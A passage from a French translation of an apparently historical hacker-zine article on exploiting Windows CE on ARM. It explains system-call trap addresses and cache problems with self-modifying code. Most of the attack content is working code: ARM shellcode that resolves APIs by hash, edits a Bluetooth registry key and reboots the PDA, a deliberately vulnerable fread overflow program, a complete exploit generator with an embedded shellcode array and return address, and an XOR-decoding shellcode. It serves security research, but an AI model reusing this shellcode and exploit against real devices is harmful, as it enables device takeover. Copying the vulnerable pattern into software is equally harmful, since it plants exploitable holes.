    beq     hash_end
    add     r10, r9, r10, ROR #7           
    b       hash_loop

hash_end
    ldr     r9, [r8]
    cmp     r10, r9 ; comparer les hash
    addne   r6, r6, #1       
    bne     find_start

    ldr     r5, [r1, #0x24]     ; AddressOfNameOrdinals
    add     r5, r5, r0
    add     r6, r6, r6
    ldrh    r9, [r5, r6]        ; Ordinals
    ldr     r5, [r1, #0x1c]     ; AddressOfFunctions
    add     r5, r5, r0
    ldr     r9, [r5, r9, LSL #2]; adresse de la fonction rva
    add     r9, r9, r0          ; adresse de la fonction

    str     r9, [r8], #4
    subs    r2, r2, #1
    bne     find_func_loop

    mov     pc, lr
    ENDP

kd  DCB     0x00, 0xc8, 0xff, 0xff ; 0xffffc800
sf  DCB     0x3c, 0x00, 0x01, 0x01 ; 0x0101003c

fn  DCB     0xe7, 0x9d, 0x3a, 0x28 ; KernelIoControl
    DCB     0x51, 0xdf, 0xf7, 0x0b ; RegOpenKeyExW
    DCB     0xc0, 0xfe, 0xc0, 0xd8 ; RegSetValueExW
    DCB     0x83, 0x17, 0x51, 0x0e ; RegCloseKey

key DCB    "S", 0x0, "O", 0x0, "F", 0x0, "T", 0x0, "W", 0x0, "A", 0x0, "R", 0x0, "E", 0x0
    DCB    "\\", 0x0, "\\", 0x0, "W", 0x0, "i", 0x0, "d", 0x0, "c", 0x0, "o", 0x0, "m", 0x0
    DCB    "m", 0x0, "\\", 0x0, "\\", 0x0, "B", 0x0, "t", 0x0, "C", 0x0, "o", 0x0, "n", 0x0
    DCB    "f", 0x0, "i", 0x0, "g", 0x0, "\\", 0x0, "\\", 0x0, "G", 0x0, "e", 0x0, "n", 0x0
    DCB    "e", 0x0, "r", 0x0, "a", 0x0, "l", 0x0, 0x0, 0x0, 0x0, 0x0

val DCB    "S", 0x0, "t", 0x0, "a", 0x0, "c", 0x0, "k", 0x0, "M", 0x0, "o", 0x0, "d", 0x0
    DCB    "e", 0x0, 0x0, 0x0

coredll DCB    "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0
        DCB    ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0

    ALIGN   4

    LTORG
test_end

WinMainCRTStartup PROC
    b     test_code_start
    ENDP

    END

Ce shellcode est construit avec trois parties. Premièrement, il appelle la
fonction get_export_section pour obtenir l'adresse virtuelle de base de coredll
et l'adresse virtuelle relative de la position de la table d'export. Elles 
sont stockées dans les registres r0 et r1. Deuxièmement, il appelle la fonction
find_func pour obtenir l'adresse de l'API grâce à la structure 
IMAGE_EXPORT_DIRECTORY et stocke l'adresse de l'API à propre adresse de valeur
hashée. La dernière partie est la fonction qui implémente le shellcode, elle
passe à 1 la valeur de la clé de registre 
HKLM\SOFTWARE\WIDCOMM\General\btconfig\StackMode et utilise KernelIoControl
pour redemarrer le système.

Windows CE.NET fournit BthGetMode et BthSetMode pour récupérer et donner 
l'état bluetooth. Mais HP IPAQs utilise la pile Widcomm qui a sa propre API,
donc BthSetMode ne peut pas ouvrir le bluetooth pour IPAQ. Bon, il y a une
autre méthode pour ouvrir le bluetooth dans IPAQs(mon PDA est un HP1940). Il
suffit juste de mettre HKLM\SOFTWARE\WIDCOMM\General\btconfig\StackMode à 1
et de redemarrer le PDA, le bluetooth va s'ouvrir après le redemarrage du 
système. Cette méthode n'est pas très jolie mais elle marche.

Bien, regardons la fonction get_export_section. Pourquoi ai-je décommenté 
l'instruction "ldr r4, =0xffffc800" ? Nous devons remarquer la pseudo
instruction LDR du langage assembleur ARM. Elle permet de charger une valeur
constante ou une adresse de 32-bit dans un registre. L'instruction 
"ldr r4, =0xfffffc800" va devenir "ldr r4, [pc,#0x108]" dans EVC debugger,
ça marche quand le shellcode s'execute. Mais le registre r4 ne va pas recevoir
la valeur 0xffffc800 dans ls shellcode, et le shellcode va échouer. 
L'instruction "ldr r5, =0x324", va devenir "mov r5, #0xC9,30" dans EVC 
debugger, et ça marche quand le shellcode s'execute. La solution la plus simple
est d'écrire la grande valeur constante au milieu du shellcode, et d'utiliser
la pseudo-instruction ADR pour charger l'adresse de la valeur dans un registre
puis de lire la mémoire à partir du registre.

Pour sauvegarder la taille, nous pouvons utiliser la technologie du hash pour
encoder les noms des API. Chaque nom d'API peut être encodé en 4 octets. La 
technologie des hashs proviens des composant assembeur du LSD de Win32.

La méthode de compilation est la suivante:

armasm test.asm
link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE test.obj

Vous devez d'abord installer l'environnement EVC. Après cela, nous pouvons
obtenir les codes opérations nécessaires à partir de EVC debugger, ou de 
IDAPro ou des éditeurs hexadécimaux.

--[ 8 - Appels Systèmes

Premièrement, regardons l'implémentation d'une API dans coredll.dll:

.text:01F75040                 EXPORT PowerOffSystem
.text:01F75040 PowerOffSystem                          ; CODE XREF: SetSystemPowerState+58p
.text:01F75040                 STMFD   SP!, {R4,R5,LR}
.text:01F75044                 LDR     R5, =0xFFFFC800
.text:01F75048                 LDR     R4, =unk_1FC6760
.text:01F7504C                 LDR     R0, [R5]        ; UTlsPtr
.text:01F75050                 LDR     R1, [R0,#-0x14] ; KTHRDINFO
.text:01F75054                 TST     R1, #1
.text:01F75058                 LDRNE   R0, [R4]        ; 0x8004B138 ppfnMethods
.text:01F7505C                 CMPNE   R0, #0
.text:01F75060                 LDRNE   R1, [R0,#0x13C] ; 0x8006C92C SC_PowerOffSystem
.text:01F75064                 LDREQ   R1, =0xF000FEC4 ; trap address of SC_PowerOffSystem
.text:01F75068                 MOV     LR, PC
.text:01F7506C                 MOV     PC, R1
.text:01F75070                 LDR     R3, [R5]
.text:01F75074                 LDR     R0, [R3,#-0x14]
.text:01F75078                 TST     R0, #1
.text:01F7507C                 LDRNE   R0, [R4]
.text:01F75080                 CMPNE   R0, #0
.text:01F75084                 LDRNE   R0, [R0,#0x25C] ; SC_KillThreadIfNeeded
.text:01F75088                 MOVNE   LR, PC
.text:01F7508C                 MOVNE   PC, R0
.text:01F75090                 LDMFD   SP!, {R4,R5,PC}
.text:01F75090 ; End of function PowerOffSystem

En deboggant cette API, nous trouvons que le système contrôle d'abord le 
KTHRDINFO. Cette valeur est initialisée dans la fonction MDCreateMainThread2
de PRIVATE\WINCEOS\COREOS\NK\KERNEL\ARM\mdram.c:

...
    if (kmode || bAllKMode) {
        pTh->ctx.Psr = KERNEL_MODE;
        KTHRDINFO (pTh) |= UTLS_INKMODE;
    } else {
        pTh->ctx.Psr = USER_MODE;
        KTHRDINFO (pTh) &= ~UTLS_INKMODE;
    }
...

Si l'application est en mode noyau, la valeur va être mise à 1, sinon elle
sera 0. Toutes les applications pour Pocket PC tournent en mode noyau, donc
le système continue par "LDRNE   R0, [R4]". Dans mon environnement, le registre
r0 a 0x8004B138, qui est le pointeur ppfnMethods de SystemAPISets[SH_WIN32], 
et ensuite continue jusqu'à "LDRNE   R1, [R0,#0x13C]". Regardons à l'offset 
0x13C (0x13C/4=0x4F)  et sa correspondance dans l'index Win32Methods définit
dans PRIVATE\WINCEOS\COREOS\NK\KERNEL\kwin32.h:

const PFNVOID Win32Methods[] = {
...
    (PFNVOID)SC_PowerOffSystem,             // 79
...
};

Bien, le registre R1 a l'adresse de SC_PowerOffSystem, qui est implémenté dans
le noyau. L'instruction "LDREQ   R1, =0xF000FEC4" ,'a pas d'effet lorsque 
l'application tourne en mode noyau. L'adresse 0xF000FEC4 est l'appel système
utilisé par le mode User. Quelques APIs utilisent directement les appels 
systèmes, comme SetKMode:

.text:01F756C0                 EXPORT SetKMode
.text:01F756C0 SetKMode
.text:01F756C0
.text:01F756C0 var_4           = -4
.text:01F756C0
.text:01F756C0                 STR     LR, [SP,#var_4]!
.text:01F756C4                 LDR     R1, =0xF000FE50
.text:01F756C8                 MOV     LR, PC
.text:01F756CC                 MOV     PC, R1
.text:01F756D0                 LDMFD   SP!, {PC}

Windows CE n'utilise pas les instructions SWI de ARM pour implémenter les 
appels systèmes, il l'implémente d'une autre façon. Un apple système est fait
pour une adresse invalide dans l'intervalle 0xf0000000 - 0xf0010000, et cause
une annulation, traitée par PrefetchAbort, implémenté dans armtrap.s.
PrefetchAbort va vérifier d'abord les adresses invalides, si c'est dans la 
zone de blocage, elle utilisera ObjectCall pour situer l'appel système et 
l'executer, sinon, elle appelera ProcessPrefAbort pour traiter l'exception.

Il y a une formule pour calculer l'adesse de l'appel système :

0xf0010000-(256*apiset+apinr)*4

Les Traitements des apisets sont définis dans PUBLIC\COMMON\SDK\INC\kfuncs.h
et PUBLIC\COMMON\OAK\INK\psycall.h, etles aipnrs sont définis dans plusieurs 
fichiers, comme par exemple les appels SH_WIN32 sont définis dans
PRIVATE\WINCEOS\COREOS\NK\KERNEL\kwin32.h.

Bien, calculons l'appel système à KernelIoControl. L'apiset est 0 et son apinr
est 99, donc l'appel système est 0xf0010000-(256*0+99)*4 qui fait 0xF000FE74.
Le shellcode suivant implémente l'appel système:

#include "stdafx.h"

int shellcode[] =
{
0xE59F0014, // ldr r0, [pc, #20]
0xE59F4014, // ldr r4, [pc, #20]
0xE3A01000, // mov r1, #0
0xE3A02000, // mov r2, #0
0xE3A03000, // mov r3, #0
0xE1A0E00F, // mov lr, pc
0xE1A0F004, // mov pc, r4
0x0101003C, // IOCTL_HAL_REBOOT
0xF000FE74, // trap address of KernelIoControl
};

int WINAPI WinMain( HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPTSTR    lpCmdLine,
                    int       nCmdShow)
{
    ((void (*)(void)) & shellcode)();

    return 0;
}

Il marche bien et nous n'avons pas besoin de chercher l'adresse de l'API.


--[ 9 - Exploitation d'un buffer overflow sur windows CE

Le fichier hello.cpp est une implémentation de démonstration d'un programme
vulnérable

// hello.cpp
//

#include "stdafx.h"

int hello()
{
    FILE * binFileH;
    char binFile[] = "\\binfile";
    char buf[512];

    if ( (binFileH = fopen(binFile, "rb")) == NULL )
    {
        printf("can't open file %s!\n", binFile);
        return 1;
    }

    memset(buf, 0, sizeof(buf));
    fread(buf, sizeof(char), 1024, binFileH);

    printf("%08x %d\n", &buf, strlen(buf));
    getchar();
    
    fclose(binFileH);
    return 0;
}

int WINAPI WinMain( HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPTSTR    lpCmdLine,
                    int       nCmdShow)
{
    hello();
    return 0;
}

La fonction hello a un probleme de buffer overflow. Elle lit une donnée à 
partir de "binfile" du repertoire racine et la met dans la variable "buf" dans
la pile grâce à fread().
Parce qu'elle lit un contenu de 1KB, donc si "binfile" est plus grand que 
512 bytes, la variable "buf" de la pile va déborder.

Les fonctions printf et getchar ne sont ici que pour tester. Elles n'ont aucun
effet dans console.dll dans le repertoire windows. Le fichier console.dll est 
fournit avec Windows Mobile Developer Power Toys.

Le langage assembleur AM utilise l'instruction bl pour appeler une fonction.
Regardons l'interieur de la fonction hello:

6:    int hello()
7:    {
22011000   str       lr, [sp, #-4]!
22011004   sub       sp, sp, #0x89, 30
8:        FILE * binFileH;
9:        char binFile[] = "\\binfile";
...
...
26:   }
220110C4   add       sp, sp, #0x89, 30
220110C8   ldmia     sp!, {pc}

"str lr, [sp, #-4]!" est la première instruction de la fonction hello(). Elle
stocke le registre lr dans la pile, et le registre lr contient l'adresse pour 
retourner à la fonction ayant appelé hello. La seconde instruction pépare la 
pile pour les variables locales. "ldmia sp!, {pc}" est la dernière instruction
de hello(). Elle charge l'adresse de retour à la fonction ayant appelé hello()
sauvegardée dans la pile dans le registre pc, et le programme va executer la
fonction WinMain. Donc si on ecrase le registre lr qui est sauvegardé dans la 
pile, nous pouvons prendre le control lorsque la fonction hello termine.

Les adresses mémoire des variables allouées par le programme correspondent
aux emplacements chargés, à la fois la pile et le tas. Le processus peut être
chargé dans différents emplacements à chaque démarrage. Donc l'adresse de base
va être à chaque fois différente. Nous savons que dans l'emplacement 0 se 
trouve le mapping de l'emplacement du processus courant, donc la base de cette
pile est stable.

Voici l'exploit du programme hello:

/* exp.c - demo d'un buffer overflow sur Windows CE
*
*  san@xfocus.org
*/
#include<stdio.h>

#define NOP 0xE1A01001  /* mov r1, r1     */
#define LR  0x0002FC50  /* adresse de retour */

int shellcode[] =
{
0xEB000026,
0xE3A02004,
0xEB00003A,
0xE24DDF89,
0xE28D0008,
0xE58D0000,
0xE3A03002,
0xE3A02000,
0xE28F1F56,
0xE3A0010A,
0xE1A0E00F,
0xE518F00C,
0xE3A00001,
0xE58D000C,
0xE3A03004,
0xE58D3004,
0xE28D100C,
0xE58D1000,
0xE28F1F5F,
0xE59D0008,
0xE1A0E00F,
0xE518F008,
0xE59D0008,
0xE1A0E00F,
0xE518F004,
0xE28F0C01,
0xE5900000,
0xE3A01000,
0xE3A02000,
0xE3A03000,
0xE1A0E00F,
0xE518F010,
0xE0D020B2,
0xE0D130B2,
0xE3520000,
0x03530000,
0x01A0F00E,
0xE1520003,
0x0AFFFFF8,
0xE1A0F00E,
0xE1A0B00E,
0xE28F40BC,
0xE5944000,
0xE3A05FC9,
0xE0845005,
0xE5955000,
0xE1A06005,
0xE3A07000,
0xE5960008,
0xE28F1F45,
0xEBFFFFEC,
0x0596707C,
0x0596808C,
0xE0879008,
0x0A000003,
0xE5966004,
0xE3560000,
0x11560005,
0x1AFFFFF4,
0xE1A00007,
0xE0881007,
0xE1A0F00B,
0xE28F8070,
0xE5914020,
0xE0844000,
0xE3A06000,
0xE4947004,
0xE0877000,
0xE3A0A000,
0xE4D79001,
0xE3590000,
0x0A000001,
0xE089A3EA,
0xEAFFFFFA,
0xE5989000,
0xE15A0009,
0x12866001,
0x1AFFFFF3,
0xE5915024,
0xE0855000,
0xE0866006,
0xE19590B6,
0xE591501C,
0xE0855000,
0xE7959109,
0xE0899000,
0xE4889004,
0xE2522001,
0x1AFFFFE5,
0xE1A0F00E,
0xFFFFC800,
0x0101003C,
0x283A9DE7,
0x0BF7DF51,
0xD8C0FEC0,
0x0E511783,
0x004F0053,
0x00540046,
0x00410057,
0x00450052,
0x005C005C,
0x00690057,
0x00630064,
0x006D006F,
0x005C006D,
0x0042005C,
0x00430074,
0x006E006F,
0x00690066,
0x005C0067,
0x0047005C,
0x006E0065,
0x00720065,
0x006C0061,
0x00000000,
0x00740053,
0x00630061,
0x004D006B,
0x0064006F,
0x00000065,
0x006F0063,
0x00650072,
0x006C0064,
0x002E006C,
0x006C0064,
0x0000006C,
};

/* imprime un entier long dans une chaine de caractères */
char* put_long(char* ptr, long value)
{
    *ptr++ = (char) (value >> 0) & 0xff;
    *ptr++ = (char) (value >> 8) & 0xff;
    *ptr++ = (char) (value >> 16) & 0xff;
    *ptr++ = (char) (value >> 24) & 0xff;

    return ptr;
}

int main()
{
    FILE * binFileH;
    char binFile[] = "binfile";
    char buf[544];
    char *ptr;
    int  i;

    if ( (binFileH = fopen(binFile, "wb")) == NULL )
    {
        printf("le fichier %s ne peut pas être crée!\n", binFile);
        return 1;
    }

    memset(buf, 0, sizeof(buf)-1);
    ptr = buf;

    for (i = 0; i < 4; i++) {
        ptr = put_long(ptr, NOP);
    }
    memcpy(buf+16, shellcode, sizeof(shellcode));
    put_long(ptr-16+540, LR);

    fwrite(buf, sizeof(char), 544, binFileH);
    fclose(binFileH);
}

Nous avons choisi une adresse de pile de l'emplacement 0, et elle pointe sur
notre shellcode. Elle va écraser l'adresse de retour sauvegardée dans la pile.
Nous pouvons également utiliser un saut a une adresse dans l'espace mémoire
virtuel a la place. Cet exploit produit un fichier "binfile" qui va créer un
débordement de la variable "buf" et l'adresse de retour sauvegardée dans la 
pile.

Apres que le fichier binfile soit recopié sur le PDA, le PDA va redemarrer et
ouvrir le bluetooth lorsque le programme hello va s'executer. Cela signifie que
la programme hello va continuer par notre shellcode.

Maintenant je change de méthode poru construire une 'chaîne exploit', la voici:

pad...pad|return address|nop...nop...shellcode

Et l'exploit va produire une "binfile" de 1KB. Mais le PDA va se geler lorsque
le programme hello s'executera. Je suis confus, je pense que peut être la pile 
de Windows CE est petite et la chaîne en débordant a détruit les 2KB de garde 
situé en début de pile. Ca gèle au moment ou le programme appel l'API après que
le débordement ait survenu. Donc, nous devons remarquer les caractéristiques de
la pile lorsque nous écrivons un exploit pour Windows CE.

EVC a quelques bugs qui rend le deboggage difficile. Premièrement, EVC va 
écrire des données arbitraires dans le contenu de la pile lorsque la pile est
relachée a la fin de la fonction, et le shellcode peut être modifié. 
Deuxiemement, l'instruction a un breakpoint peut se changer en 0xE6000010 dans
EVC pendant un deboggage. Un autre bug assez drôle est que le debugger ne 
trouve aucune erreur lorsqu'il écrit des données dans à l'adresse .text a lors
d'une execution pas à pas, alors qu'il trouve une exception de violation 
d'accès lorsqu'il execute directement.


--[ 10 - Shellcode de décodage

Le shellcode dont nous avons parlé plus haut est un shellcode de concept
qui contient un certain nombre de zéros. Il est executé correctement dans
le programme de démonstration, mais d'autres programmes vulnérables peuvent
filtrer les caractères spéciaux avant le dépassement de tampon dans certaines
situations. Par exemple, pour un dépassement grâce à la fonction strcpy, il 
faut retirer tous ses zéros au shellcode.

Il est difficile et pénible d'écire un shellcode sans caractère spéciaux par
la méthode de la recherche d'API. Nous devons donc penser aux shellcodes de 
décodage. Les shellcode de décodage convertissent les caractères spéciaux en
caractères allant bien, et rendent le vrai shellcode encore plus universel.

Les nouveaux processeurs ARM (comme arm9 et arm10) ont une architecture Harvard
qui sépare le cache des instructions du cache des données. Cette 
caractéristique améliore la performance du processeur, et la plupart des
processeurs de type RISC possèdent cette caractèristique. Mais un code s'auto
modifiant n'est pas facile a implémenter parce qu'il va être dispersé par les 
caches et l'implémentation du processeur après avoir été modifié.

Regardons d'abord ce code:

#include "stdafx.h"

int weird[] =
{
0xE3A01099, // mov       r1, #0x99

0xE5CF1020, // strb      r1, [pc, #0x20]
0xE5CF1020, // strb      r1, [pc, #0x20]
0xE5CF1020, // strb      r1, [pc, #0x20]
0xE5CF1020, // strb      r1, [pc, #0x20]

0xE1A01001, // mov       r1, r1 ; pad
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,

0xE3A04001, // mov       r4, #0x1
0xE3A03001, // mov       r3, #0x1
0xE3A02001, // mov       r2, #0x1
0xE3A01001, // mov       r1, #0x1
0xE6000010, // breakpoint
};

int WINAPI WinMain( HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPTSTR    lpCmdLine,
                    int       nCmdShow)
{
    ((void (*)(void)) & weird)();

    return 0;
}

Ces quatre instructions strb vont changer la valeur immédiate de l'instruction
mov 0x99. Il va s'arreter au beakpoint inséré lors d'une execution directe avec
EVC debugger. Les registres r1-r4 sont a 0x99 dans S3C2410, qui est le noyau
du processeur arm9. Il a besoin de quelques autres instructions nop pour 
bourrer après avoir modifié pour laisser le temps aux registres r1-r4 de passer
à 0x99 lorque j'ai tester ce code sur le PDA d'un ami qui a Intel Xscale
processor. Je pense que la raison est peut être que le arm9 a 5 pipelines et le
arm10 en a 6. J'ai donc changé pour une autre méthode:

0xE28F3053, // add       r3, pc, #0x53

0xE3A01010, // mov       r1, #0x10
0xE7D32001, // ldrb      r2, [r3, +r1]
0xE2222088, // eor       r2, r2, #0x88
0xE7C32001, // strb      r2, [r3, +r1]
0xE2511001, // subs      r1, r1, #1
0x1AFFFFFA, // bne       28011008

//0xE1A0100F, // mov       r1, pc
//0xE3A02020, // mov       r2, #0x20
//0xE3A03D05, // mov       r3, #5, 26
//0xEE071F3A, // mcr       p15, 0, r1, c7, c10, 1 ; efface et invalide chaque entrée
//0xE0811002, // add       r1, r1, r2
//0xE0533002, // subs      r3, r3, r2
//0xCAFFFFFB, // bgt       |weird+28h (30013058)|
//0xE0211001, // eor       r1, r1, r1
//0xEE071F9A, // mcr       p15, 0, r1, c7, c10, 4 ; vide les buffer d'ecriture
//0xEE071F15, // mcr       p15, 0, r1, c7, c5, 0  ; vide le icache
0xE1A01001, // mov       r1, r1 ; bourrage
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,

0x6B28C889, // mov       r4, #0x1 ; encodées
0x6B28B889, // mov       r3, #0x1
0x6B28A889, // mov       r2, #0x1
0x6B289889, // mov       r1, #0x1
0xE6000010, // breakpoint

Les quatre instructions mov sont encodées par un OU-Exclusif avec 0x88 et le 
décodeur doit boucler pour charger un byte encodé et faire un OU-Exlusif avec
0x88 puis les ranger a leur position initial. Les registres r1-r4 ne vont pas
récupérer 0x1 même si vous mettez un bon paquet de bourrage après avoir décodé
que ce soit avec le processeur arm9 ou le arm10. Je pense que l'instruction
load doit amener un problème de cache.

"ARM Architecture Reference Manual" a un chapitre d'introdution pour traiter 
les codes s'auto-modifiant. Ils disent que les caches doivent être vidés avec
un appel système. Phil, le gars de 0dd a partagé son experience avec moi. Il 
m'a dit dit qu'il avait déjà reussi a se servir de cette méthode sur un système
ARM (je pense que son environnement devait être linux). Bref, cette méthode 
marche sur AIX PowerPC et Solaris Sparc (j'ai testé). Mais SWI est implémenté 
de manière différente sous Windows CE. Le fichier armtrap.s contient 
l'implémentation de SWIHandler qui ne fait rien à part 'movs pc,lr'. Donc
il n'a aucun effet après que le décodage du code se soit fini.

Commes les applications Pocket PC tournent en mode noyau, nous avons les 
provilèges pour acceder au système de control du coprocesseur. 
"ARM Architecture Reference Manual" donne une introduction sur le système 
mémoire et la méthode pour traiter le cache via le système de contrôle du
coprocesseur. Après avoir ragardé dans ce manule, j'ai essayé de desactiver
le cache d'instruction avant le décodage:

mrc     p15, 0, r1, c1, c0, 0
bic     r1, r1, #0x1000
mcr     p15, 0, r1, c1, c0, 0

Mais le système s'est gelé lorsque l'instruction mcr s'est executée. J'ai 
essayé, mais sans succès d'invalider entierement le cache d'instruction
apres le décodage:

eor     r1, r1, r1
mcr     p15, 0, r1, c7, c5, 0

Mais ça n'a eu aucun effet.


--[ 11 - Conclusion

Le code dont nous avons parlé plus tot est un exemple de la vie réelle sur
un dépassement de tampon sur Windows CE. Il n'est pas parfait, mais je pense 
que cette technologie va être améliorée dans le futur.

A code du mécanisme de cache, le shellcode de décodage n'est pas assez bon.

Internet et les materiel portables augmentent rapidement, et donc les menaces
contre les PDA et les portables deviennent de plus en plus sérieuses. Et le 
patch de windows CE est plus difficile et dangereux que le système Windows 
normal pour les consommateurs. Comme le système Windows CE entier est situé
en ROM, si vous voulez corriger les défaut de votre système, vous devez
vider la ROM, et les images de ROM de la plupart des vendeurs ou des modes
de PDAs et portables ne sont pas compatibles.

--[ 12 - Remerciements

Remerciements spéciaux aux mecs de XFocus Team, ma petite amis, la vie serait
fade sans vous.
Remerciements spéciaux au département de recherche de NSFocus Corporation,
j'adore cette équipe.
Et je voudrais montrer ma reconnaissance aux membres de Odd, et aussi Nasiry
et Flier, les discussions avec eux ont été sympa.


--[ 13 - Références

[1] ARM Architecture Reference Manual
    http://www.arm.com
[2] Windows CE 4.2 Source Code
    http://msdn.microsoft.com/embedded/windowsce/default.aspx
[3] Details Emerge on the First Windows Mobile Virus
    - Cyrus Peikari, Seth Fogie, Ratter/29A
    http://www.informit.com/articles/article.asp?p=337071
[4] Pocket PC Abuse - Seth Fogie
    http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-fogie/bh-us-04-fogie-up.pdf
[5] Diverses notes sur le xda et Windows CE
    http://www.xs4all.nl/~itsme/projects/xda/
[6] Introduction à Windows CE
    http://www.cs-ipv6.lancs.ac.uk/acsp/WinCE/Slides/
[7] Nasiry 's way
    http://www.cnblogs.com/nasiry/
[8] Programming Windows CE Second Edition - Doug Boling
[9] Win32 Assembly Components
    http://LSD-PL.NET

|=[ EOF ]=--------------------------------------------------------------=|